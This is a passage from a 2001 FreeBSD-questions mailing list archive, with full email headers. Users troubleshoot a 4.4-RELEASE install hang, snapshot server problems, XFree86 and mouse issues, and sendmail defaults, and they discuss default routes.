for a loop? Any further insight appreciated. Phil On 21 Nov 2001, at 10:35, Joe & Fhe Barbish boldly uttered: > Phil you need to post more info about the error. Do this. > > When the FBSD boot process starts it will stop and issue message to hit > enter to continue or any other key for command prompt. Hit space bare to go > into command line. On command line enter command boot -v the -v option > will generate verbose messages (IE long winded messages about boot process). > When system hangs hit keyboard scroll lock key to freeze buffer and them use > up arrow to scroll boot messages on screen looking for message that may give > you a pointer as to what is the problem. Post that boot log here so people > have something to look at to help you. > > -----Original Message----- > From: owner-freebsd-questions@FreeBSD.ORG > [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Philip J. Koenig > Sent: Wednesday, November 21, 2001 10:15 AM > To: questions@FreeBSD.ORG > Subject: 4.4-Release install hangs > > I have a system here I'm trying to install 4.4-Release on, and it > keeps hanging during the initial boot at the same place - right after > it probes the serial/parallel ports. Can someone tell me what piece > of hardware is likely the problem here? Must be something it's > probing? > > This is an ASUS P2-L97 (440 LX chipset) board with embedded Adaptec > SCSI. (Booting from an ATAPI CDROM) > > Thanks, > > > Phil > > > -- > Philip J. Koenig pjklist@ekahuna.com > Electric Kahuna Systems -- Computers & Communications for the New Millenium > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > -- Philip J. Koenig pjklist@ekahuna.com Electric Kahuna Systems -- Computers & Communications for the New Millenium To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 7:57:22 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mx6.airmail.net (mx6.airmail.net [209.196.77.103]) by hub.freebsd.org (Postfix) with ESMTP id B3D0A37B405 for ; Wed, 21 Nov 2001 07:57:14 -0800 (PST) Received: from covert.black-ring.iadfw.net ([209.196.123.142]) by mx6.airmail.net with smtp (Exim 3.16 #10) id 166ZkQ-0006i6-00; Wed, 21 Nov 2001 09:57:14 -0600 Received: from fanec from [213.121.101.250] by covert.black-ring.iadfw.net (/\##/\ Smail3.1.30.16 #30.55) with smtp for sender: id ; Wed, 21 Nov 2001 09:58:36 -0600 (CST) From: "Alan Edmonds" To: , "Joe & Fhe Barbish" Cc: Subject: RE: 4.4-Release install hangs Date: Wed, 21 Nov 2001 15:57:12 -0000 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <3BFB5D29.30517.125426D@localhost> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Do you have a PCMCIA controller on this system? I had a similar problem. Interrupt the boot and enter: set hw.pcic.irq=0 and/or set hw.pcic.intr_path=1 and see if that helps. Alan Edmonds See the loader(8) man page for other hints. > -----Original Message----- > From: owner-freebsd-questions@FreeBSD.ORG > [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Philip J. > Koenig > Sent: 21 November 2001 15:52 > To: Joe & Fhe Barbish > Cc: questions@FreeBSD.ORG > Subject: RE: 4.4-Release install hangs > > > Thanks for the snappy reply. > > I tried scroll-lock earlier, doesn't have any effect. The last line > on the screen (the one I presume it is hanging on) doing a verbose > boot is: > > > isa_probe_children: probing PnP devices > > > There are no ISA cards installed. The rest of the messages that are > visible look OK. > > When given the opportunity to configure the kernel (before it tries > probing hardware and hangs) I remove all of the unused kernel > drivers, with the exception of the "pc card controller", which I > tried both leaving and removing. (I assume that refers to what we > used to call the "PCMCIA controller") > > I have the parallel port disabled in the BIOS (no need for it), I > wonder if that throws the install for a loop? > > Any further insight appreciated. > > > Phil > > > On 21 Nov 2001, at 10:35, Joe & Fhe Barbish boldly uttered: > > > > Phil you need to post more info about the error. Do this. > > > > When the FBSD boot process starts it will stop and issue message to hit > > enter to continue or any other key for command prompt. Hit space bare to go > > into command line. On command line enter command boot -v the -v option > > will generate verbose messages (IE long winded messages about boot process). > > When system hangs hit keyboard scroll lock key to freeze buffer and them use > > up arrow to scroll boot messages on screen looking for message that may give > > you a pointer as to what is the problem. Post that boot log here so people > > have something to look at to help you. > > > > -----Original Message----- > > From: owner-freebsd-questions@FreeBSD.ORG > > [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Philip J. Koenig > > Sent: Wednesday, November 21, 2001 10:15 AM > > To: questions@FreeBSD.ORG > > Subject: 4.4-Release install hangs > > > > I have a system here I'm trying to install 4.4-Release on, and it > > keeps hanging during the initial boot at the same place - right after > > it probes the serial/parallel ports. Can someone tell me what piece > > of hardware is likely the problem here? Must be something it's > > probing? > > > > This is an ASUS P2-L97 (440 LX chipset) board with embedded Adaptec > > SCSI. (Booting from an ATAPI CDROM) > > > > Thanks, > > > > > > Phil > > > > > > -- > > Philip J. Koenig pjklist@ekahuna.com > > Electric Kahuna Systems -- Computers & Communications for the New Millenium > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-questions" in the body of the message > > > > > -- > Philip J. Koenig pjklist@ekahuna.com > Electric Kahuna Systems -- Computers & Communications for the New Millenium > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 8: 0:55 2001 Delivered-To: freebsd-questions@freebsd.org Received: from c527597-a.cstvl1.sfba.home.com (c527597-a.cstvl1.sfba.home.com [24.176.204.87]) by hub.freebsd.org (Postfix) with ESMTP id 791B337B416; Wed, 21 Nov 2001 08:00:49 -0800 (PST) Received: (from bmah@localhost) by c527597-a.cstvl1.sfba.home.com (8.11.6/8.11.6) id fALG0gV15986; Wed, 21 Nov 2001 08:00:42 -0800 (PST) (envelope-from bmah) Message-Id: <200111211600.fALG0gV15986@c527597-a.cstvl1.sfba.home.com> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Bzdik BSD Cc: freebsd-stable@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Boot Floppies in Snapshots Missing? In-Reply-To: <20011121094755.83402.qmail@web13608.mail.yahoo.com> References: <20011121094755.83402.qmail@web13608.mail.yahoo.com> Comments: In-reply-to Bzdik BSD message dated "Wed, 21 Nov 2001 01:47:55 -0800." From: "Bruce A. Mah" Reply-To: bmah@FreeBSD.ORG X-Face: g~c`.{#4q0"(V*b#g[i~rXgm*w;:nMfz%_RZLma)UgGN&=j`5vXoU^@n5v4:OO)c["!w)nD/!!~e4Sj7LiT'6*wZ83454H""lb{CC%T37O!!'S$S&D}sem7I[A 2V%N&+ X-Image-Url: http://www.employees.org/~bmah/Images/bmah-cisco-small.gif X-Url: http://www.employees.org/~bmah/ Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_596081912P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Wed, 21 Nov 2001 08:00:42 -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --==_Exmh_596081912P Content-Type: text/plain; charset=us-ascii If memory serves me right, Bzdik BSD wrote: > I apologize if I missed some announcement, but there were no boot > floppy images in snapshots for a week. is this a new trend? You didn't specify, but I presume you're looking on stable.freebsd.org (also known as releng4.freebsd.org). Something in the snapshot-building process on that machine is broken (I suspect it's out of disk space). Bruce. --==_Exmh_596081912P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: Exmh version 2.3.1+ 05/14/2001 iD8DBQE7+8+q2MoxcVugUsMRAldrAJ9zyQEC5o/ChjlT30htzpwkfm9mAACfa9H6 wJ8BolHSC6yvGMq2j16APVg= =DOv1 -----END PGP SIGNATURE----- --==_Exmh_596081912P-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 8: 2:12 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smtp015.mail.yahoo.com (smtp015.mail.yahoo.com [216.136.173.59]) by hub.freebsd.org (Postfix) with SMTP id 2E3A737B405 for ; Wed, 21 Nov 2001 08:02:10 -0800 (PST) Received: from unknown (HELO mlevy) (12.27.148.78) by smtp.mail.vip.sc5.yahoo.com with SMTP; 21 Nov 2001 16:02:09 -0000 Message-ID: <017f01c172a6$45be94e0$fd6e34c6@mlevy> From: "Bara Zani" To: Subject: /usr/ports question Date: Wed, 21 Nov 2001 11:04:59 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi , I want to change the default install options of a certain port , how can i do that ? for example i want bash2 port to install to /bin and not /usr/local/bin thanks . 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Get your free @yahoo.com address at http://mail.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 8: 5:40 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smtp-1.enteract.com (smtp-1.enteract.com [207.229.143.33]) by hub.freebsd.org (Postfix) with ESMTP id 2E3D137B41C for ; Wed, 21 Nov 2001 08:05:23 -0800 (PST) Received: from jamestown.21stcentury.net (24-148-18-116.na.21stcentury.net [24.148.18.116]) by smtp-1.enteract.com (Postfix) with ESMTP id 5BDFC73D9; Wed, 21 Nov 2001 10:05:22 -0600 (CST) Received: (from jtm@localhost) by jamestown.21stcentury.net (8.11.6/8.11.3) id fALG5bR26496; Wed, 21 Nov 2001 10:05:37 -0600 (CST) (envelope-from jtm) To: Tom Kersten Cc: freebsd-questions@freebsd.org Subject: XFree86 virtual resolution (was: none) References: <20011112024145.93847.qmail@web10001.mail.yahoo.com> From: James McNaughton Date: 21 Nov 2001 10:05:36 -0600 In-Reply-To: Tom Kersten's message of "Sun, 11 Nov 2001 18:41:45 -0800 (PST)" Message-ID: <86vgg4cdnz.fsf@jamestown.21stcentury.net> Lines: 51 X-Mailer: Gnus v5.7/Emacs 20.7 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Tom Kersten writes: > > > Long version of what is wrong: > I installed FreeBSD 4.4 from the cdrom I ordered. I > read on the XFree86 site and in my graphics card's > manual that it would not function with an XFree > version less than 4.1.0 (whether this is true or > not...I am not sure)...so I installed the 4.1.0 > version from the XFree site. Everything went great. > Then, I went through the XFree86 -configure setup (the > text based one) following all the information from the > XFree site...this also went fine. I then installed KDE > 2.2, which installed smoothly and started up. That is > where the problem is. My screen seems to have a > "virtual" parameter set because my desktop is too big > for my screen (it moves as I move my mouse to the > borders...I am sure you know what it is). So, I looked > in the X-config file, but there is no "virtual" > parameter set. Then I thought maybe it was something > with my monitor setup. So, I went through a few > tutorials and the walkthrough in "The Complete > FreeBSD" to set up my monitor. After doing so, nothing > changed. Is there another file I need to modify? What > am I doing wrong? As far as I can tell, you are doing nothing wrong. This is a feature of XFree86. I can't remember if there's a way to do what you want, which is for resolution changes to reset the size of the root window, but the place for information would be http://www.xfree86.org/ as this is _really_ an issue with XFree86 and not specific to FreeBSD or any OS. > > Any suggestions are appreciated very much, as I have > already lost too much sleep over something that should > be much easier than I have made it. Welcome to the club. I once spent a week trying to fix a problem. I scanned the man page over and over looking for the answer. Then, I read the man page carefully and found the one sentence that told me what to do. It was a learning experience on more than one level. The upside is the sense of satisfaction that comes with learning how to do what you want to do. > Thanks in advance, You're welcome in advance. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 8: 9:19 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.ztlaw.com (ztlaw.com [166.70.106.34]) by hub.freebsd.org (Postfix) with ESMTP id E4D5637B405 for ; Wed, 21 Nov 2001 08:09:10 -0800 (PST) Received: from Goku (goku.ztlaw.com [166.70.106.35]) by mail.ztlaw.com (Postfix) with SMTP id D88A729994 for ; Wed, 21 Nov 2001 09:11:51 -0700 (MST) Message-ID: <004d01c172a7$1a89ade0$236a46a6@ztlaw.com> From: "Clayton Tycksen" To: Subject: psmintr out of sync Date: Wed, 21 Nov 2001 09:10:57 -0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_004A_01C1726C.6E1A0D00" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_004A_01C1726C.6E1A0D00 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable hey all, yes, i'm getting the "psmintr out of sync" error when i try to use my = mouse. stopping/starting/adjusting the mouse daemon doesn't help. i'm running FreeBSD 4.2. the mouse is a Microsoft USB Intellimouse Explorer (5 button) with a = USB->PS/2 adapter. i'm using the mouse through a switch (Belkin = OmniView Pro), so i'm using the PS/2 adapter. i've got a similar setup = at home, similar mouse/switch/cables, etc... with no problems. but my = machine at home is running FreeBSD 4.4. i'm guessing that the problem = was fixed in/before 4.4. from searching archives, i have seen that a possible fix for this is to = use a serial adapter on the mouse and connect it to a serial port. = since i need to use my switch, that really isn't an option. does anyone have any other solutions/suggestions as to a workaround for = this problem? i'm a newbie, so you may have to be somewhat detailed in = your response. thanks, clay =20 ------=_NextPart_000_004A_01C1726C.6E1A0D00 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
hey all,
 
yes, i'm getting the "psmintr = out of sync"=20 error when i try to use my mouse. stopping/starting/adjusting the mouse = daemon=20 doesn't help.
 
i'm running FreeBSD = 4.2.
 
the mouse is a Microsoft USB = Intellimouse=20 Explorer (5 button) with a USB->PS/2 adapter.  i'm using the = mouse=20 through a switch (Belkin OmniView Pro), so i'm using the PS/2 = adapter. =20 i've got a similar setup at home, similar mouse/switch/cables, etc... = with no=20 problems.  but my machine at home is running FreeBSD 4.4. i'm = guessing that=20 the problem was fixed in/before 4.4.
 
from searching archives, i have = seen that a=20 possible fix for this is to use a serial adapter on the mouse and = connect it to=20 a serial port.  since i need to use my switch, that really isn't an = option.
 
does anyone have any other=20 solutions/suggestions as to a workaround for this problem?  i'm a = newbie,=20 so you may have to be somewhat detailed in your response.
 
thanks,
 
clay
 
 
 
 
 
 
------=_NextPart_000_004A_01C1726C.6E1A0D00-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 8:16:28 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.nsu.ru (b.ns.ssc.nsu.ru [193.124.215.221]) by hub.freebsd.org (Postfix) with ESMTP id C3BE937B405 for ; Wed, 21 Nov 2001 08:16:15 -0800 (PST) Received: from inet.ssc.nsu.ru ([62.76.110.12]) by mail.nsu.ru with esmtp (Exim 3.20 #1) id 166a2f-0008Ve-00 for questions@freebsd.org; Wed, 21 Nov 2001 22:16:05 +0600 Received: from localhost (danfe@localhost) by inet.ssc.nsu.ru (8.9.3/8.9.3) with ESMTP id WAA10772 for ; Wed, 21 Nov 2001 22:15:04 +0600 Date: Wed, 21 Nov 2001 22:15:03 +0600 (NOVT) From: Alexey Dokuchaev To: questions@freebsd.org Subject: releng4.freebsd.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello! There seems to be a problem with ftp://releng4.freebsd.org/, where I usually get installation files and stuff. Starting with snapshot 4.4-20011117-STABLE (and up to current 4.4-20011121-STABLE) almost all files have zero size. Can this be fixed? Thank you. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 8:23: 2 2001 Delivered-To: freebsd-questions@freebsd.org Received: from empty1.ekahuna.com (empty1.ekahuna.com [198.144.200.196]) by hub.freebsd.org (Postfix) with ESMTP id 938F237B405 for ; Wed, 21 Nov 2001 08:22:52 -0800 (PST) Received: from pc-02 (pc02.ekahuna.com [198.144.200.197]) by empty1.ekahuna.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com; Wed, 21 Nov 2001 08:22:43 -0800 From: "Philip J. Koenig" Organization: The Electric Kahuna Organization To: "Alan Edmonds" Date: Wed, 21 Nov 2001 08:22:51 -0800 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: RE: 4.4-Release install hangs Reply-To: pjklist@ekahuna.com Cc: Joe & Fhe Barbish , questions@FreeBSD.ORG Message-ID: <3BFB645B.3291.1415D9E@localhost> In-reply-to: References: <3BFB5D29.30517.125426D@localhost> X-mailer: Pegasus Mail for Win32 (v3.12c) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 21 Nov 2001, at 15:57, Alan Edmonds boldly uttered: > Do you have a PCMCIA controller on this system? > > I had a similar problem. Interrupt the boot and enter: > > set hw.pcic.irq=0 > > and/or > > set hw.pcic.intr_path=1 > > and see if that helps. > > Alan Edmonds > > See the loader(8) man page for other hints. Alan, Tried both of those settings, no change. There is no PC-Card (PCMCIA) controller on this system, I wasn't sure by your question if you meant the system you had the trouble with had or did not have one. Tried turning the parallel port back on also, no change. It may well turn out the MB is flaky. I had this in a server working 24x7 for a long time with no prob.. one day I brought it down for a software update, then it wouldn't boot up, no video. I couldn't believe it was dead just like that, saved it. Went to try it today, using some other parts.. poof - booted up fine. Thought, see.. it was just some fluke. Now I see that every 6-10 boots it boots without video or something. Maybe I'll just trash it. Thanks for your suggestions. Phil > > -----Original Message----- > > From: owner-freebsd-questions@FreeBSD.ORG > > [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Philip J. > > Koenig > > Sent: 21 November 2001 15:52 > > To: Joe & Fhe Barbish > > Cc: questions@FreeBSD.ORG > > Subject: RE: 4.4-Release install hangs > > > > > > Thanks for the snappy reply. > > > > I tried scroll-lock earlier, doesn't have any effect. The last line > > on the screen (the one I presume it is hanging on) doing a verbose > > boot is: > > > > > isa_probe_children: probing PnP devices > > > > > > There are no ISA cards installed. The rest of the messages that are > > visible look OK. > > > > When given the opportunity to configure the kernel (before it tries > > probing hardware and hangs) I remove all of the unused kernel > > drivers, with the exception of the "pc card controller", which I > > tried both leaving and removing. (I assume that refers to what we > > used to call the "PCMCIA controller") > > > > I have the parallel port disabled in the BIOS (no need for it), I > > wonder if that throws the install for a loop? > > > > Any further insight appreciated. > > > > > > Phil > > > > > > On 21 Nov 2001, at 10:35, Joe & Fhe Barbish boldly uttered: > > > > > > > Phil you need to post more info about the error. Do this. > > > > > > When the FBSD boot process starts it will stop and issue message to hit > > > enter to continue or any other key for command prompt. Hit space bare to go > > > into command line. On command line enter command boot -v the -v option > > > will generate verbose messages (IE long winded messages about boot process). > > > When system hangs hit keyboard scroll lock key to freeze buffer and them use > > > up arrow to scroll boot messages on screen looking for message that may give > > > you a pointer as to what is the problem. Post that boot log here so people > > > have something to look at to help you. > > > > > > -----Original Message----- > > > From: owner-freebsd-questions@FreeBSD.ORG > > > [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Philip J. Koenig > > > Sent: Wednesday, November 21, 2001 10:15 AM > > > To: questions@FreeBSD.ORG > > > Subject: 4.4-Release install hangs > > > > > > I have a system here I'm trying to install 4.4-Release on, and it > > > keeps hanging during the initial boot at the same place - right after > > > it probes the serial/parallel ports. Can someone tell me what piece > > > of hardware is likely the problem here? Must be something it's > > > probing? > > > > > > This is an ASUS P2-L97 (440 LX chipset) board with embedded Adaptec > > > SCSI. (Booting from an ATAPI CDROM) > > > > > > Thanks, > > > > > > > > > Phil > > > > > > > > > -- > > > Philip J. Koenig pjklist@ekahuna.com > > > Electric Kahuna Systems -- Computers & Communications for the New Millenium > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > > with "unsubscribe freebsd-questions" in the body of the message > > > > > > > > > -- > > Philip J. Koenig pjklist@ekahuna.com > > Electric Kahuna Systems -- Computers & Communications for the New Millenium > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-questions" in the body of the message -- Philip J. Koenig pjklist@ekahuna.com Electric Kahuna Systems -- Computers & Communications for the New Millenium To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 8:24:26 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dire.bris.ac.uk (dire.bris.ac.uk [137.222.10.60]) by hub.freebsd.org (Postfix) with ESMTP id 53B7437B41B for ; Wed, 21 Nov 2001 08:24:20 -0800 (PST) Received: from mail.ilrt.bris.ac.uk by dire.bris.ac.uk with SMTP-PRIV with ESMTP; Wed, 21 Nov 2001 16:24:11 +0000 Received: from cmjg (helo=localhost) by mail.ilrt.bris.ac.uk with local-esmtp (Exim 3.16 #1) id 166a82-00015Z-00; Wed, 21 Nov 2001 16:21:38 +0000 Date: Wed, 21 Nov 2001 16:21:38 +0000 (GMT) From: Jan Grant X-X-Sender: To: Anthony Atkielski Cc: FreeBSD Questions Subject: Re: Sendmail security and defaults on 4.3 RELEASE In-Reply-To: <004101c1729d$15d4bce0$0a00000a@atkielski.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 21 Nov 2001, Anthony Atkielski wrote: > How secure is the default configuration of sendmail on an > installation of FreeBSD 4.3 RELEASE? I want to open the smtp port > and try some stuff mailing back and forth, possibly on a > semi-production basis. Are there any risks I need to worry about > with the default configuration of sendmail? It's pretty good, to be honest, and works well as a leaf-node. There are a bunch of self-explanatory files in /etc/mail. Except, of course, for the sendmail.cf file :-) You'll probably want to edit /etc/mail/access .../aliases .../local-host-names .../virtusertable (if you're hosting multiple domains) However, sendmail is something that it's worth keeping up-to-date. This is pretty simple to do if you're using cvsup. There are a bunch of alternative mailers (qmail, postfix, exim) all of which are reasonable alternatives. Sendmail configuration can be a bit thorny; I'd recommend you play and come back with specific setup questions. -- jan grant, ILRT, University of Bristol. http://www.ilrt.bris.ac.uk/ Tel +44(0)117 9287088 Fax +44 (0)117 9287112 RFC822 jan.grant@bris.ac.uk and Nostradamus never dreamed of the Church of the Accellerated Worm To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 8:33:24 2001 Delivered-To: freebsd-questions@freebsd.org Received: from chmls06.mediaone.net (chmls06.mediaone.net [24.147.1.144]) by hub.freebsd.org (Postfix) with ESMTP id E85E637B416 for ; Wed, 21 Nov 2001 08:33:20 -0800 (PST) Received: from be-well.ilk.org (lowellg.ne.mediaone.net [24.147.188.158]) by chmls06.mediaone.net (8.11.1/8.11.1) with ESMTP id fALGXN815663; Wed, 21 Nov 2001 11:33:24 -0500 (EST) Received: (from lowell@localhost) by be-well.ilk.org (8.11.6/8.11.4) id fALGWD206533; Wed, 21 Nov 2001 11:32:13 -0500 (EST) (envelope-from lowell) To: freebsd-questions@freebsd.org, slack@suntop-cn.com Subject: Re: how about default route ? References: <000a01c17286$5deecdc0$9201a8c0@home.net> From: Lowell Gilbert Date: 21 Nov 2001 11:32:12 -0500 In-Reply-To: slack@suntop-cn.com's message of "Wed, 21 Nov 2001 12:16:14 +0000 (UTC)" Message-ID: <4466843x0z.fsf@lowellg.ne.mediaone.net> Lines: 11 X-Mailer: Gnus v5.7/Emacs 20.7 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG slack@suntop-cn.com (edwin chen) writes: > in win2000, I can setup two default route, can freebsd do that ? if can, what will happened ? if can't ,why ? I don't know a lot about Windows NT, but I believe that this functionality supports automatic failover between statically configured default gateways. FreeBSD doesn't support this, but it does support router discovery (if you enable a routing daemon, such as routed(8)), which is usually a better way to handle redundant paths to the Internet. If you can run real routing protocols, that's even better, but you need support from your upstream routers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 8:56: 1 2001 Delivered-To: freebsd-questions@freebsd.org Received: from heorot.1nova.com (heorot.1nova.com [63.105.24.23]) by hub.freebsd.org (Postfix) with ESMTP id 3078837B405 for ; Wed, 21 Nov 2001 08:55:59 -0800 (PST) Received: by heorot.1nova.com (Postfix, from userid 1000) id 555A918F1; Wed, 21 Nov 2001 09:55:15 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by heorot.1nova.com (Postfix) with ESMTP id 43CF218EF; Wed, 21 Nov 2001 09:55:15 -0800 (PST) Date: Wed, 21 Nov 2001 09:55:15 -0800 (PST) From: Rick Hamell To: Brad Phlipot Cc: freebsd-questions@FreeBSD.org Subject: Re: BSD for my IBOOK In-Reply-To: <000801c17244$982ca5d0$8c8f1218@cx2021383a> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Hello, Im trying to locate "BSD" for my Ibook apple notebook. I'm > running Macs OS 10.1 and want to install the BSD on my machine. My > hopes then are to run Sun's Star Office 5.2 on my apple laptop. Can > you send me a link or information on where and how to accomplish this > task? Thanks a million. Well Brad.. I have good new and bad news... The Good news... if you're running Mac OS 10.1 (OSX) You're already running BSD! The bad news... Star Office dosen't run on Mac OS X (yet.) If you want though... I believe Netbsd runs on Imacs. :) Rick ******************************************************************* Rick's FreeBSD Web page http://heorot.1nova.com/freebsd Ace Logan's Hardware Guide http://hw.shatteredcrystal.com ***FreeBSD - The Power to Serve! http://www.freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 9: 5:25 2001 Delivered-To: freebsd-questions@freebsd.org Received: from heorot.1nova.com (heorot.1nova.com [63.105.24.23]) by hub.freebsd.org (Postfix) with ESMTP id 2C1C337B405 for ; Wed, 21 Nov 2001 09:05:24 -0800 (PST) Received: by heorot.1nova.com (Postfix, from userid 1000) id 7F93D18F1; Wed, 21 Nov 2001 10:04:27 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by heorot.1nova.com (Postfix) with ESMTP id 6E06618EF; Wed, 21 Nov 2001 10:04:27 -0800 (PST) Date: Wed, 21 Nov 2001 10:04:27 -0800 (PST) From: Rick Hamell To: Dylan Carlson Cc: questions Subject: Re: List changes (was: home pc use) In-Reply-To: <20011121142753.25140.qmail@web10401.mail.yahoo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Agree. We really need a "freebsd-discussion" list to move these threads to. > They're valid discussions, however, the purpose of this list is to answer > people's questions (unless I misunderstood the charter). You mean... freebsd-chat? :) Rick ******************************************************************* Rick's FreeBSD Web page http://heorot.1nova.com/freebsd Ace Logan's Hardware Guide http://hw.shatteredcrystal.com ***FreeBSD - The Power to Serve! http://www.freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 9: 8:28 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dc.cis.okstate.edu (dc.cis.okstate.edu [139.78.100.219]) by hub.freebsd.org (Postfix) with ESMTP id 82EF537B418 for ; Wed, 21 Nov 2001 09:08:26 -0800 (PST) Received: from dc.cis.okstate.edu (localhost.cis.okstate.edu [127.0.0.1]) by dc.cis.okstate.edu (8.11.3/8.11.3) with ESMTP id fALH8Pa20266 for ; Wed, 21 Nov 2001 11:08:25 -0600 (CST) (envelope-from martin@dc.cis.okstate.edu) Message-Id: <200111211708.fALH8Pa20266@dc.cis.okstate.edu> To: freebsd-questions@freebsd.org Subject: Password Aging and Classes Date: Wed, 21 Nov 2001 11:08:25 -0600 From: "Martin G. McCormick" Sender: 